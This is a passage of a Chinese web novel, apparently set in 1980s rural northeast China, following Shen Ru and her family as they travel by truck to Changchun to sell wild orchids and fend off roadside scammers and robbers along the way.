“就在附近，有小黑小白陪着我，”段吾怕他哥生气，
“没事就好，咱们吃饭，”
小望村的灯熄得很快，沈如回去就把两株兰花栽在了院子里的角落，告诫沈卫不要碰，也不准说出去。
沈卫猛点头，然后小跑去厨房吃饭。
王芸和沈强一整天没看见俩人，这会看见两个人相安无事还有点震惊。不过总归是好事，如果没看见沈卫脸上的伤口的话。
“你说实话，你姐是不是又打你了？“王芸把沈卫偷偷拉到屋子里，问道。
“没有啊，我上山小心划得，妈，咱家有多少钱啊，我想尽快结婚。”
“你自己不是攒了一百吗，这还差两百呢，再等等啊。“
“那啥，我手里没钱了，还差三百。”沈卫一想到自己上山一趟还把家底赔了，就想哭。
沈如刚刚躺下，就听到一阵敲门声。
”谁啊，大半夜的，没礼貌。“秦双虽然不需要睡觉，但是小如多累啊，这人真是没有时间观念，这会都十点多了吧。
沈如走过去，推开门，看见外面是一个圆胖的背影。
”你找我有事？“沈如开口。
“姐，那个，啥，我今天听见你说要包山，我想跟你入伙，一起干，可以吗？“
“你又想什么鬼主意了？”沈如双手抱胸，示意他进来。
“哪有，我也不敢啊，嘿嘿，我不是一百块钱给你了吗？我听你说你想包山，要是一个月之前我肯定觉得你做梦，但是现在我感觉有搞头。”
“哦？”
“嘿嘿，这不是姐你挖出人参，还有兰花，你肯定有计划，而且你知道吗，那一百块钱我攒了十年，我那彩礼得三百块，要是真等到四十岁，小桃早就嫁人了，她前两天来找我，说是明年必须结合，可是我咋可能一年攒够两百，这才打起了你的主意。”
察觉到沈如的面色不善，沈卫赶忙再说，“我有心无胆，平时也就是嘴上说说，真让我违法我也怕，进去了小桃他妈肯定立刻让她嫁了。我就想着跟你一起干，我相信姐。”
“这死胖子别的不行，眼光倒是不错，”秦双不齿他的奴颜媚骨，不过脑瓜子转了转，又说道，
“今天这胖子看着力气不错，要是愿意听话倒是一个干活的好手，咱们基地是不是也需要这种能干活的？”
“唔，你说得有道理，而且他现在怕我，我再给他一个甜枣，至少短期内可以稳住他不出去乱说，至于后面，再看他表现了。”
沈如清了清嗓子，“其实，你是我弟，我于情于理都是要帮你的，只是你以前的表现，我确实不是很信任你。”
沈卫眼巴巴的看着沈如，听到这里，感觉人都蔫巴了，看来自己只有被对方扔进河里的份，
“不过，你既然参股了，我也不是不能相信你一次，如果你能保守秘密并且让我看到你的劲头，我就答应你。”
“太好了，姐，你真是我亲姐”沈卫觉得自己娶老婆有希望了，开心的大叫，给隔壁睡觉的王芸都叫起来了，探出脑袋看他们在闹什么。
“钱拿来，回去睡觉，以后工资发多少我决定，一切事情听我的，第一件事先减肥。”
“可以，可以。”
看着沈卫回到屋里，王芸和沈强悄悄聊了起来，
“之前我还怕他们姐弟俩因为彩礼的事情闹掰，现在看来也没有，今天儿子脸上的上估计也是自己惹得。”
“我早就跟你说过，一天天不干正事，娶不着媳妇也是他活该。”
“现在你有种了，我哥来之前没见你这么说。”两个人不想再聊，至少情况见好。
“牛书记在家吗？”沈如第二天一大早就来到牛家，想让他帮忙看看能不能带一份县城的报纸，等确定好信息无误，她可就要启程了。
牛远方不知道他要报纸干什么，不过这事也不难，今天他去县城带一份给他就好了。白天沈如没有再去山上，他带着小五在院子里读书，很久没有看书了，她有些手痒，所以推开门看见小五在看书，就陪着他一起。
“小五在学什么呢？”
“明天开学，在准备二年级的课了，沈姐姐。”小五正一边看书，一边撸狗头，好不惬意。
“二年级啊，有遇到不会的吗？姐姐帮你看看。”沈如自信道。
“好啊好啊。”段吾点头。
于是段野背着背篓出门时看到的就是这幅场景，他觉得自己太兴奋了，一想到家里很快就有两个人在等他，他就浑身充满动力。
沈如没有再上山的想法，就让他小心，有要干活的去叫上沈卫，他正在被自己安排减肥，哼哧哼哧绕着村子跑步呢。
段野上山路上果然看见了一个跑步的身影，见到他了沈卫倒是先开口了。
“姐夫好，上山啊？”
“对，你这是在跑步？”段野有点吃惊，他比沈卫大一旦，见到他不是在吃就是在玩，正儿八经的干事情，还是减肥，这也太少见了。
“对对，我姐说我太胖了，不减肥小桃看不上我。”
“行，那你慢慢跑
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，有事来找我。”
段野今天上山其实是有正事的，他每周会设一个陷阱在山上，这是他爸爸流下来的习惯，上次的野猪就是差点掉进陷阱，不过被捕兽夹伤到腿了才被他一个人抓住。这两周没有上山看，不知道会有什么。
段野沿着另一条路往上爬着，看到一颗桃树，没想到这会开着花，粉粉白白的煞是好看，他略一留步，走过去摘了一枝，准备下山给沈如送过去。
来到陷阱，段野先确认附近没有大型野生动物的身影，这才小心的扒开布置的干草，一打开他惊讶出声。
一只鹿？这山里有鹿只是听他爸提到过，不过这动物机灵，一般抓不住，而且段野甚至没亲眼见过，村里的人也只是说远远见过有一两只，但是跑得飞快，根本捉不住。
感觉到手里的小鹿叫了一声，他才发现这鹿原来还没有死，发出低低的叫声，段野一时间不知道怎么处理，如果是个死掉的猎物他可以带回去卖掉或者加餐，就像今天陷阱里的兔子和山鸡，这俩都是家里的常见加餐项，但是鹿，他拿不定主意，准备带回去给沈如瞧瞧，说不定他也没有见过呢！
这鹿小，他知道沈如包山的事情暂时不想给别人知道，所以喂了点水和草，放在自己的框里，手里只拎着兔子就下山了。
武军看到段野下山手里还拎着猎物，心里一阵羡慕，开口说道，
“小段啊，又打到猎物了啊，这兔子可不小嘞，”
“是啊，今天运气好，”段野笑着回应他，村里人不算喝多，基本相处都很好，他以前父母刚去世，亲戚没什么帮衬，反而是这些邻居真心帮忙，所以他后来挨家挨户给帮过他的人送东西。
“下次再打到给武大哥你送过去，”
“不要不要，你们哥俩自己吃，都还在长身体呢，有空来玩啊。”
段野回到家里，段吾已经不在学习了，抱着小黑晒太阳，小白则是在沈如手里，以前他爸打了个竹椅，现在沈如正躺在上面晒太阳呢。
“回来了，”沈如看见段野，心道怎么这么快。
“嗯呢，回来了，你看，今天的猎物。”
段野如数家珍地把框里的东西掏出来，
“两只兔子，一直山鸡，还有一个，你一定想不到。”段野卖关子的说道，
“是什么啊？”沈如和段吾好奇心都被激起来了，齐齐往框里探过脑袋。
“天呐，一只小鹿。”
“这是什么？呀，还有桃花！”
两人齐齐小声惊呼。
段吾没见过鹿，不知道这长着角的奇怪生物是什么，不过他认识桃花，心知这是哥哥送给沈姐姐的，于是伸手把花拿出来，放在段野手上。
“哥，这花这么漂亮，是给沈姐姐的吗？”
“对，对，小如，这是给你摘得花，我看他开的很漂亮。”段野脸都红了，还是坚持把花放进沈如手里，然后立刻蹲下身子，假装整理背筐。
“很香，谢谢。”沈如有点惊讶，不过也很开心。
“嗯，很香，是狗粮的味道。”秦双也悠悠开口。
14. 准备出发
沈如盯着筐里的鹿，似乎是察觉到新环境，小鹿受惊似的叫了一声，很清脆。
“你准备怎么处理啊？”，沈如看着这鹿有些为难，看起来只到人的小腿那么高，右腿可能是掉进陷阱受伤了，流了血。
“以前听我爸说，山里的动物如果猎到小的了就得还回去，我们靠山吃山要有敬畏之心，所以我准备帮他把伤养好，再放归山林，你看可以吗？”段野说完看向沈如。
“当然可以！我也这么觉得，他还太小了。”
沈如摸了摸小鹿的脑袋，滑溜溜的，一阵好玩。
“耶，太酷啦，哥哥，我们把他养下来和小黑小白作伴吧。”
“行啊，它的伤就交给你料理啦。”
说着，段吾就从筐里把小鹿轻轻的抱出来，放在大黄的窝旁边，大黄一直摇着尾巴跟在一边，见状向着小鹿嗅了嗅，又把旁边圆滚滚的小黑小白推上前去。
段吾不明所以，一脸惊愕的看着三只狗在小鹿旁边嗅来嗅去，那小鹿也不害怕。
“大黄真聪明，这是让狗崽熟悉气味呢。”沈如见状解释给小五听。
“原来是这样。大黄你真聪明。”段吾放下心来。
门枝丫一声响了，原来是牛书记回来了。
“你们看，这就是今天长春的报纸，我瞅着也没看着啥新鲜事儿啊，”牛远方把带回来的报纸递到沈如手里，一边关上门，一边念叨，“纸上还有个花嘞。”
“对，就是这个，妥了！。”沈如看向段野，冲他说道。
“现在长春已经开始了，你看这条新闻。”沈如把中缝的一则轶闻给段野指过去。
“一株兰花竟能换得一套别墅，记者带你直击兰花售卖现场。”段野把这则新闻的题目读了出来。
“怪不得下面还有一个花的照片，老多人在给他拍照。”牛书记也凑过来，他识字不多，这会终于知道这花是有多金贵了，“你说一个花咋恁个贵，真能买一套别墅？瞅着跟草叶差不多呢。”
“是啊，这花都跟房子一个价了，真吓人啊。”
沈如知道，大概三年过后，市政府就要出手遏制不良风气了，毕竟炒作兰花让一拨人赚的盆满钵满，可太贪心的最后都亏进去了，跟后市的牛市一样。
“咱们只做这一笔，把第一桶金赚到就包山，小双儿。”
“得嘞！咱们是良民。”
时间不能拖延，再过半个月，就不适合在播种移植了，沈如看着天盘算道。
“谢谢您，牛书记，我也想提前跟你说个事，我准备把咱们这山包下来，您看要多少钱？”
“什么？你要包山头？”牛远方吓了一跳，不过还是开口提醒道：“这包山跟种自己家的几亩地可不一样。不仅包山贵，这种起来也不容易呀。”
‘我知道，这不是有我们家段野吗？要是活儿太多，咱请村里的人来帮咱，放心，给钱。我想清楚了，这山包下来您看要多少钱？”
“那我也不劝你了，”牛远方掏出只烟，点燃了，烟味飘散，他的声音传来。
“这山地好，大家都知道，不过早几年，归国家的，大家吃大锅饭赚工分，也没心思精力包下来，去年的时候咱村那个万元户，万秋山你们知道吧，想包来着，我帮他问过，现在估摸要八千块钱包三年，合同每三年签一次。”
“行，书记，你等我俩周，我把钱准备好给你，不过希望您能帮我保守秘密，暂时不要叫其他人知道了。”
“这个没问题，就是八千块钱不是少数，那万秋山就是不想掏出大半家底才放弃的，你哪来这么多钱啊？”牛远方有些不解。
“您别担心，我们肯定不犯法，这方法就在报纸上，您且等着吧。”沈如俏皮的笑了笑，她不准备等了，最好今天凌晨就出发，报纸上说每个月15就有展览，也正是在展览上才能卖出更高的价格。
不过就他们俩有点危险，她已经想好找谁一起了。
“段野，你收拾下两周的生活用品，把小五托付给我爸妈，再给她们五块钱，我去找车和人，然后回来把花移到盆里，等到凌晨三点半，咱们就出发，你记得带上点家伙，出远门还是有点危险，要是有想劫道的，就打回去。”、
沈如扭了扭手指，段野也心潮澎湃，毕竟他没去过那么远的地方，赶紧带着小五去屋里收拾。
“沈卫人呢？”沈如推开自己家门，没看见他的身影，问院子里正在剥豆芽的王芸。
“不是你让他出去跑步减肥的吗？不过你还别说，这跑几趟，精神头眼看着好多了，还得是你治他。”王芸笑起来。
沈如有点不知道怎么面对这便宜爸妈，愚昧倒也没有那么坏，只是也没有什么情谊，面子上过得去就行了。
“对了，我要出躺远门，你帮我准备点干粮路上吃，大概四个人四天的口粮，玉米饼子和鸡蛋就可以，隔壁段野跟我一起，小五子就麻烦你和爸照顾一下，这是二十块钱。给你。”
沈如算了一下现在的物价，鸡蛋一毛钱一个，稻谷小麦都是家里现成的，猪肉两块钱一斤，一家四口一个月也就花个二十块钱了。
“哎呀，你这孩子要去哪儿啊？跟段野一起，你们不会是要私奔吧？”王芸的脸刷一下就白了，越想越觉得是这回事。
“你想多了，我私奔还会带着沈卫一起？”
“什么，沈卫也要去？”果然，王芸的思路从私奔转到了沈卫的身上，再想到之前沈卫身上的伤，王芸又颤颤开口，
“怎么说，他也是你弟弟，你可别乱来啊，犯法是要被拉去毙了的啊。”
沈如被她的脑回路震惊了，“小双儿，我看起来像个□□吗？”
“唔，得看情况。”
沈如不想跟王芸掰扯了，让他进去准备干粮，要是沈卫回来就让他过来找自己，说完走去屋子里收拾衣服。
这小屋里也没有柜子，就一个箱子，放着她的全部衣服，她之前还没来得及看看，从里面掏出一件干净没有补丁的灰褂子，再拿出两条裤子，三个上衣，箱子基本也清空了，
“看来咱家条件很困难啊，冬天居然就一身衣裳，地主家没有余量啊。”
“赚钱养家还得咱大如。”
“你才大如呢。”沈如跟秦双一边唠嗑，一边把衣服收拾起来
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。
突然，门被敲响了。
“姐，你叫我啊。”沈卫比王芸知道的多，这会听王芸说要跟他姐一起出门，就马不停蹄跑回来了，扭着手，开口道。
“对，你都知道了是吧，回去收拾东西，半个小时后跟我出门。”
“行，行。”
“你都不问我带你去哪？”
“嘿嘿，总归不能把我卖了，我这样的人家也不爱要啊。”沈卫嘿嘿的笑起来。
“倒是心里有数，想得开。”秦双看着他一副傻乐的样子，有些一言难尽。
“不过，半个小时后去哪里啊？”秦双不解。
“找舅舅！你是不是忘记了，我们可没有交通工具。”
“哦对，瞧我，去长春还得三四百公里呢，也不能走过去，带着花坐火车不安全，这年头绿皮火车人多眼杂的，万一有个意外就耽误事了。”
“对，就是这样，而且舅舅开了半辈子货车，情况比咱清楚，路上真有不长眼的，我们仨也能收拾了他。”
“对！不过不是四个人吗？”
“你看这个沈卫能顶用吗？”说着沈如宠她伸了下手，就看他立刻抱头蹲下来。
“得，还没几个人有这么熟练。当个背包的吧。”
“bingo”。沈如把衣服装进布包，又把沈卫交给他的一百块钱塞进夹层。
“还看啥，赶紧回去收拾吧，别耽误事儿。”
“好好，我立刻去。”沈卫麻溜的跑了，出了门还恭恭敬敬的把门关上了，院子里飘着一股子玉米香，馋的他有点走不动了都，王芸还拿着个饼子鸡蛋在厨房招手。
他跑了几步过去，又怕耽误事，咬咬牙一狠心就回屋里收拾东西了。
“太阳打西边出来了这是。”王芸被儿子这动作吓一跳，以前可都是抢着吃的。
半个小时后，沈如背着行李出门，就看见沈卫和王芸站在院子里，两人手里各拿着一个包袱，王芸走过来把包裹递给沈如，说：“给你们路上摊了几十个饼子和鸡蛋，这钱你们拿着，我也不知道你们出门是干什么去，不过穷家富路，手上要拿着点钱，家里还有，隔壁小五子你们放心给我吧，以后就是一家人。”
沈如略微有些吃惊，但是看到沈卫冲上来一把结果包袱，斜挎在身上那样子，一下子也就不想问太多了。
“知道了，会早点回来的。”沈如冲王芸和站着一言不发地沈强摆摆手。
“早点回来！注意安全，不要跟陌生人搭话，别喝他们递过来的水。”
沈强终于开了口，连沈卫都震惊的看过去，这个沉默寡言的男人总是站在旁边一言不发，仿佛没有任何主意。
“好，我们知道了，很快就回来，放心，肯定把你们的大胖儿子送回来。”沈如走出院门，摆摆手。示意沈卫把两盆花端好了。刚刚收拾好自己的行李她就把兰花移植到花盆里，这也是托牛书记带回来的。两盆花被罩在一个黑布套子里被沈卫抱走了。
“妈，爸，回去吧，姐和姐夫很厉害，放心好了，等下次回来咱家日子就好过了。”背着两个包袱灵活的跟在沈如背后出了门。
15. 王国安的筹备
一转头就看见段野已经收拾好了，换了一身灰色的棉布衣服，外面套一个棕色开衫，看着很是清爽。
沈如看着段吾一脸要哭不哭的小表情，走上前去。
“小五，姐姐带着你哥哥出门一趟，很快就会回来。你最近都在姐姐家吃饭，姐姐托姨给你做好吃的”
“真的不能带上我吗？”段吾瘪瘪嘴，
“这次路途比较远，下次姐姐带你去北京玩，好不好？你知道的，我从来不骗人。”
“好，我不闹，咱们拉钩。”段吾擦擦眼泪伸出小拇指。
“拉钩上吊，一百年都不变。”
“小五，哥哥很快就回来，有事情也可以去找牛爷爷，一定要好好呆在家，哥哥回来给你带好吃的。”段野揉揉他的脑袋，安抚到。
“我一定听话，沈姐姐，哥哥，你们一定要注意安全，我在家等你。”
“沈卫，把小五带过去给咱爸妈，一定要照顾好了，不然你知道后果的。”
“当然，当然，”沈卫立刻跑过去牵着他走进去，沈如和段野跟着进去，看着段吾跟着王芸沈强进屋才放下心来。
“那，咱们出发吧！”
一行人往西边走去，那是隔壁村的方向。
隔壁村子就在西边三里地，不算太远，三人走了大概半个小时就到了。
沈如这才想起来自己并没有关于舅舅家位置的记忆，拍了拍沈卫，
“你带路，咱去舅舅家。”
“哦哦行，”沈卫没有想太多，走上前去，舅舅家就住在进村第三家，他走上去敲门，是王国安开的门。
“找谁啊！”王国安的大嗓门给沈卫吓了一大跳，敲完门就赶紧跑到沈如背后猫着。
“舅舅，是我。”沈如冲王国安笑着，尽量让自己看起来亲和一点。
“欸是昭，哦不，小如啊，你怎么来了？”王国安立马招手让沈如进来，段野和沈卫也跟着走了进来。
这是一间水泥小院，中间一个堂屋，旁边两间房，堂屋那边亮着光，王国安年轻时侯攒了些钱，家里也没有花钱的地方，吃饭生活上都还算很宽裕，领着三人走到饭桌前，原来现在正是他们吃饭的时间。
“小如啊，快来做，尝尝舅妈的手艺，”陈秀走过来牵住沈如，坐到第三个位置上。
“原来他们吃饭的时候还会给表姐留一个座位。”沈如小声对秦双说。
“谢谢舅舅，舅妈，我们吃过饭了，你们快吃吧，一会该凉了。”
“再吃点，我去给你盛。你们也坐吧。”陈秀不等沈如再开口推脱，快步走到厨房去。
“行，那不跟您客气啦，谢谢舅舅。咱坐下吧。”
“这就对了吗，之前让你过来也不来，你舅妈念叨你好久了呢。”
陈秀端着三碗饭就过来了，闻声笑道，“你舅舅念叨你最多，天天盼着你来呢，你今天来他估计高兴的晚上睡不着了，”把饭放到桌上，又搬来两个小凳子，招呼段野和沈卫坐下。
“小如啊，这位是？”王国安和陈秀的视线这才聚集到段野身上。
“我，我是，”段野一时不知道怎么介绍自己。
沈如听他手足无措，笑道，“舅舅舅妈，这个就是上次跟你们提到的邻居家段野，等再过一个月我们就要结婚了。”
“啊呀，原来是小段啊，快来，快来。”王国安走上前去把段野招呼到近一点的位置，沈卫见状只好端起饭碗默默走到一边。
“舅妈，您手艺真好！”沈如是吃过饭来的，不过这会看着桌上的红烧茄子、拍黄瓜和小鸡炖粉皮，也开了胃口。
“给我吃两口，这可是地道的走地鸡和东北粉皮儿，看着就好吃。”秦双迫不及待的吃两口，众人倒是没太注意到沈如夹菜的手变得更快了。只有段野，隐隐约约又有一种陌生的情绪在。
“吃饱了没，再加一碗吧。”陈秀作势要去厨房，被沈如赶紧拦下来。
“舅妈，您别忙了，我们都吃饱了，其实本来也是吃过饭来的，没想到又吃一顿好吃的。”沈如开心笑着，这会确实是吃饱了，舅舅家伙食真不是一般人家能有的。
“那就行，我和你舅妈平时没事，吃的就晚，你们今天来是有啥事吗？”王国安这会才想起来问一嘴，毕竟现在已经晚上六点半了。
沈如擦擦嘴，跟段野对视一眼，笑道，“舅舅，这次来还真是有事要麻烦您帮忙。”
沈如叫沈卫把身后背着的花拿过来，掀开黑色布盖，“这是兰花？”
王国安走南闯北这么多年，自然是也有些眼力劲的，这花很好，生机勃勃，花是橙子的？
“对，兰花，我们看报纸说长春那边有兰花展会，一株兰花可以卖到好价，我和段野以后想把小望村的山包下来，现在想去把这两株兰花卖掉，咱们就有本钱了。”
“这包山是好事啊，多少钱，舅舅给你。”说着王国安就招呼陈秀进屋拿钱，陈秀也没多思量，进屋去了，他们两口子这些年没有什么花钱的地方，除了吃饭钱都攒着了，估摸着得有三千块。
“舅妈，不用不用，我们这次来不是借钱，我们是打算去卖花的，况且你们知道的，授人以鱼不如授人以渔。”
“什么鱼不鱼的，舅舅听不懂，这三千块钱你拿着，要是不够舅舅帮你去借。”
沈如哭笑不得，只能按住王国安准备出门借钱的身影，开口道
“舅舅，我们这次是希望您能跟我们一起去卖花，您知道的，现在长途路上不安全，我们有花又不方便做火车，所以希望您开车送我们去长春，等卖完咱们立刻回家。”
王国安跟陈秀面面相觑，看来是认真的，
“不是啊，这花能卖几个钱？”王国安非常不解，看着这两盆花，
“段野，报纸拿出来给舅舅看看。”
“好”，段野从兜里掏出上午裁剪下来的报纸给王国安。
王国安读过初中，倒是能认出来，他读出来，只听一声惊呼，“一盆花那么多钱！”
“多少，多少，”沈卫和陈秀也不解。
“这人一盆卖一万！我的个乖乖。”
“天呐”，只听二人齐齐发出惊呼，陈秀吓得直拍胸脯，沈卫有些发愣，不过一想到姐夫摘花差点摔下去，就打消那点小心思了。
“成，舅舅带你去。”
“得嘞，谢谢舅舅。”沈如高兴的抱住王国安，万事俱备只欠东风。
“我这就去收拾收拾，咱们去多久？”
“最快一周，最晚两周。”
“行，我晓得了，你们带了什么？”
沈如三人把行李打开给王国安看，看到沈如和段野的包袱，满意的点
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点头，衣服少，主要是食物和水，还有防身的工具，只是沈卫被他狠狠敲了一下。
“你遇到坏人就用这玉米棒子去打他？”王国安恨铁不成钢，
“还能有坏人？”沈卫不解，揉揉脑门。
王国安没再理他，安排三人去休息，自己收拾好了会去喊他们。
“你们先去休息一下，晚上人少，咱们四点出门，等天亮了就到人多的地方了，去长春的路我走过几次，大致还记得。”
“那舅舅你呢？”沈如心知，一路上开车才是最累的，
“放心，我收拾好了就会休息，等一切妥当咱们就启程。我这把老骨头很久没出山了哈哈哈。”王国安大笑着走进隔壁的房间，
陈秀拉着沈如走到表姐的房间，洗漱后就休息了。
段野和沈卫则是被王国安拉着去了隔壁。
“舅舅，不是说休息吗？”
“小如是女孩子，你们俩等出门了就是主力，就知道休息。”王国安没好气白了下沈卫。
“听着，这一路大概是有三四百公里，中间会有一半的时间在郊外，所以食物、水、防身工具、油都得备好了，你们带的玉米饼子三十个，咱们四个人一共也就能吃两天，路上有些地方可不好停车。我让你们舅妈去做釀了，你们俩现在把这俩弹簧刀塞身上，到时候有事情咱们男人得冲到前面。”
“好！”段野点头，他包里还有三十个鸡蛋，估摸着也不够，接过刀就塞进裤兜里。
沈卫又挨骂了，垂头丧气的把刀要往兜里塞，可是他这身没有口袋，又不敢问舅舅，只好戳戳旁边的段野寻求帮助，段野看着王国安在收拾东西，没有注意准备，赶紧把这塞到他裤子里。
“凉!凉！”段野无视沈卫的声音，给他按紧了。
“你俩，去地里摘几颗青菜，咱们带着。”
段野拉着沈卫就出门了，
“唉唉，走快了，还没问要拿几颗呢？”沈卫被他拉的一个趔趄。
段野没再搭理他，走到菜园子，摘了几个瓜和生菜。递给沈卫。
“去，洗干净。”
“哦，好。”
“舅舅，摘了几个瓜还有生菜，您看看还有没有什么要准备的？”
“你小子，还没结婚呢，少套近乎。”王国安也没太在意，让段野跟着他一起走出家门，他的车就停在后面。
“看，我年轻时候就靠这个走南闯北，新疆、内蒙，我连北京也去过，不过有两年没有再跑长途了。呵呵。”王国安打开车门，摸了摸方向盘。
“人确实得服老，他们说人过了五十二岁就不能再干活了，咱也不懂为啥，反正我觉着有一天就能开一天，我这半辈子就是在车上过的，连你舅妈也是我在跑车的时候遇上的，这两年有时间我就开，不过只能在村里县里跑跑。”
“有您在，咱们这一程肯定平平安安，”段野看他有些感慨，立刻拍马屁逗他。
“哈哈哈，你还别说，这路上估计有些危险，你可得保护好小如，不然我要你好看。”
“那必须的。”段野郑重点头。
“你去屋里找个桶接一桶水放在车厢了，刚刚的食物和水都放在车座下面，不过”王国安停了一下，拍向段野的口袋。
“这个，必须随身带着。”
“明白！”
16. 恶徒
等陈秀把十个结实的馕准备好塞进车里时，众人已经睡了一觉了。
“四点到了，该出发了。”秦双兴奋的冲着沈如说道，沈如睁眼，走出门发现舅舅和段野也在了，
“正好，咱们该走了，我去把你弟弟叫起来，睡得真沉。”
沈如跟着段野坐在副驾的两个位置，货车前厢只有主驾和副驾三个位置。
“沈卫，你带上花，坐到车厢，把带的厚衣服都穿好，这一路上，要是花有个三长两短你也不用回去了。”
“好，我知道了。”沈卫简直欲哭无泪，又不敢发作。
“好好干，要是保护好了，给你发工资。”
“好嘞！”听到这里沈卫来了精神，颠颠的爬上了车厢。
“舅妈，那我们走啦，您在家好好照顾身体，我们一定暗示回来！等我们好消息。”
沈如和段野都跟陈秀挥手告别。
“你家那口子咋又开车走了，有生意啊？”隔壁王婶子推开门看到这一幕，张嘴问道。
“关你屁事。”陈秀不爱跟这长舌妇说话，径直回了屋，她累了得休息休息，希望这一路平平安安。她从屋里抱出副观音像，准备每天拜一拜。
这年头路还没有修成千禧年后的样子，不过颠簸中倒是开的还算安稳。
“小如啊，给我递口水”，这会已经连续开了四个小时，车子已经开出一百公里了，这会是白天，王国安提着的心终于放下了点。
“舅舅，给。”沈如捞起水壶递给他，像是想起了什么，打开窗户，
“沈卫，后面没问题吧？”
后面没有声音，沈如又叫了几声才听见有声音回应。
“在，我在，咋啦。”沈卫把头探出来回应，
“花没问题吧？”
“我瞅着挺好的。”沈卫不敢再打哈欠，大声回道。
沈如看着窗外，估摸着这会到隔壁青阳省了，她不饿，路上的时候啃了个饼子。
“舅舅，段野，你们饿不饿，需要休息一下吗？”
“我没事，刚刚吃了半个馕。”段野立刻回到，他一直没敢睡熟，一路上在跟王国安聊着。
“这才哪到哪，你们要是不着急，咱再开会，到差不多下午两点该到加油站了，咱们去加个油再吃点热乎的，没来过青阳吧，这边南来北往的可热闹了。”王国安正啃着半个馕乐呵呵的说着。
沈如正准备喝口水，身体突然往右倒去，段野也跟着往右拦着。
“怎么回事！”沈如和段野齐齐抬头，却看见一个老太太正倒在车前两米的地方。
“真是倒霉，遇上碰瓷的了，坐稳了！”王国安刚刚差点就直直过去了，还好身体记忆还在，方向盘缓缓往左打，趁对方没注意直接开走了。
车厢里传来滚来滚去的声音，沈如立刻提醒，“沈卫，花给我扶住了！”
“好，好，咋回事啊，突然就撞边上去了，还好我昨天开始就一直把花盆抱在怀里。”这会车子总算稳了，虽然是岔到另一个方向上了。
“这群遭瘟的强盗，你们都没事吧？”王国安看着路线旁边的辽省路标，气的拍了下方向盘。
“没事，舅舅，这是怎么回事？”
“你们不知道，我们跑车的最怕的不是强盗，也不是扒车的，一般都有家伙，惹不起就躲，只有这群碰瓷的真是棘手的很，大意了。”王国安叹了口气，刚刚想着白天安全把这事给忘记了。
“你们看见刚刚路边的废弃房屋没？一般这种路上没什么车，又有废弃建筑的就要提防着有人突然跑出来劫道，刚刚这老头也是不要命，要是沾上，咱们得脱一层皮，后面那二层小楼至少得有十来号人守着，一旦停下来就坏事了。”
“原来如此，”沈如和段野面面相觑，立刻打起十二分精神，段野探头往后看，没想到看到一辆摩托！
“舅舅，后面有摩托车追来了，车上坐了三个人，手里拿着棍子。”段野赶忙回头。
“坏事了，咱们这是空车，怎么被盯上了，沈卫，立刻把花放一边，走到车厢后边，手边的长棍看到没？”
“看，看到了，”沈卫刚刚正在查看兰花，一时间没看见后面的人，这下回头看见了，吓得就想往前面爬。
“他们等会会扒车，你走到后面，花盆放在角落里，他们离你近了，立刻拿棍子挥过去，一定要狠，不要怕，他们不敢报警。”
“舅舅，我不敢啊，我会不会掉下去，虽然我浑是浑了点，而且我也没打过人啊，”
“拿好棍子，给我打！今天要是不把他们打下去，扒上车了第一个遭殃的就是你，我们的计划就全部打水漂！这趟要是你做好了回去就给你提亲。”沈如只能威逼利诱这个死胖子。
“太刺激了，这就是狂野的八十年代吗？”秦双从没见过这场面，从刚刚碰瓷的老头就开始让他惊掉下吧了。
“是啊，真是刺激！”沈如摩拳擦掌，真要拼，他们三个人也不怕对方。
要不是耽误上路，必定叫这群人好看。
段野有些担心，沈卫这个人不太靠谱，从小到大就是嘴巴坏，偷鸡摸狗打架的事情到也不干，于是开口，“等这事情结束，我坐后面！”。
保护兰花的任务太重了，不能交给沈卫。
“行，等会咱们到后面换他。”
“啊，你们给我滚，吃我一棒！”沈卫在后面一直大叫，前面三个人担心的情绪都要破功了。
随着后面一声大叫，摩托倒在后面，沈如回头望去，看见三个人摔做一团，不过看着问题不大，还有心情冲着他们大叫。
“哈哈哈哈哈哈哈”，王国安听他们描述这画面乐开花了，不过他是真的很疑惑。
“按道理，空车是比较安全的，拉满货的时候才是最危险的，偷油的油耗子、偷货的贼运气不好那真的跟你一路。”
“以前不会跟空车？”沈如听到，秀气的眉毛都皱到一起。
“最近，这边是出了什么问题吗？”低声念叨着。
“既然现在没事了，咱们快绕路过去，不再多停留了。”
“走。”
车子很快路过卢县的加油站，眼看着人气也多了起来，太阳也落到两点钟方向。
“穷家富路，咱们吃点热汤。”王国安过上车门，车子留在加油站，沈卫抱着花盆，几人走向向老板。
“老板，麻烦加满，等会回来给钱。”
“得嘞。”老板是个憨厚的大汉，肩膀上挂着
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白布，不知道在干什么，满脑门都是汗，闻声立刻跑出来。
几人没有再停留，走到街上一家小店。
“我之前来过辽省，这边的锅包肉做的特好吃，咱们试试。”王国安拉开透明的门帘走了进去。
“行。”三人点头，这馆子的标牌写着“正宗家常菜”，旁边还立着快牌子，“不好吃不要钱！！童叟无欺。”
“店里人还挺多。”沈如对着几人说道。
“也很香！”沈卫的声音和秦双同时传来。
看着人人桌上都放一份锅包肉，金灿灿、油汪汪的，沈如忍不住咽了下口水，段野看见了从兜里掏出十块钱。
四人找了个靠边的位置坐下了，老板立刻跑来拿这个小本。
“几位，吃什么？咱们店里推荐招牌锅包肉、清炒空心菜、大拉皮配上胡萝卜，那叫一个爽口，吃过的都说咱好！这路上最好吃的就是咱们家。”
“行，那来一份锅包肉、一份大拉皮再加三碗米饭，你们看看还有没有要加的。”
王国安示意大家再看看墙上的菜单，沈如和秦双都喜欢吃茄子，
“小双儿，想吃地三鲜吗？”
“吃！嘿嘿。”秦双就知道有好吃的沈如不会忘记她。
“啊，对，之前无意中尝过一次，你们看看还有没有想吃的。”
段野笑道，“我觉得地三鲜应该不错，小如，怎么样？”，刚刚他看到沈如的视线一直在那个方向，应该没有猜错吧。
“那再加一份地三鲜吧，还挺好吃的。”沈如立刻点头，意外的看了他一眼。
“你以前吃过吗？”王国安心道这菜他们那边没有啊。
“对，无意中吃过一次，那要不就这些？”
沈卫察觉自己举手并不会有什么影响，于是只得一起点头，垂死挣扎了一下，可以给我来两碗米饭吗？
三人看着他胖乎乎的手指头允许了。
“我也要两碗。”沈如开口！
“哈哈哈，能吃是福，你就是太瘦了，老板，再加一份地三鲜，先上六碗米饭，不够再加。”
“行，很快就上菜。”
沈如吃完一碗饭感觉饱了，就把秦双放出来透透气。
正吃着突然有一个小孩跑进来，看着像个小乞丐，穿的破破烂烂的，看着几人，急道，
“你们车是不是放在东边的加油站，刚刚我经过看见有人在你们车上来回翻。”
“老板不在？”
“没注意，反正有几个大汉，挺壮实的。”
“走！”王国安一时气冲到脑袋顶，跟小乞丐道过谢就带着头往加油站赶。
“加油站一向很安全，今年真是邪了门了。”
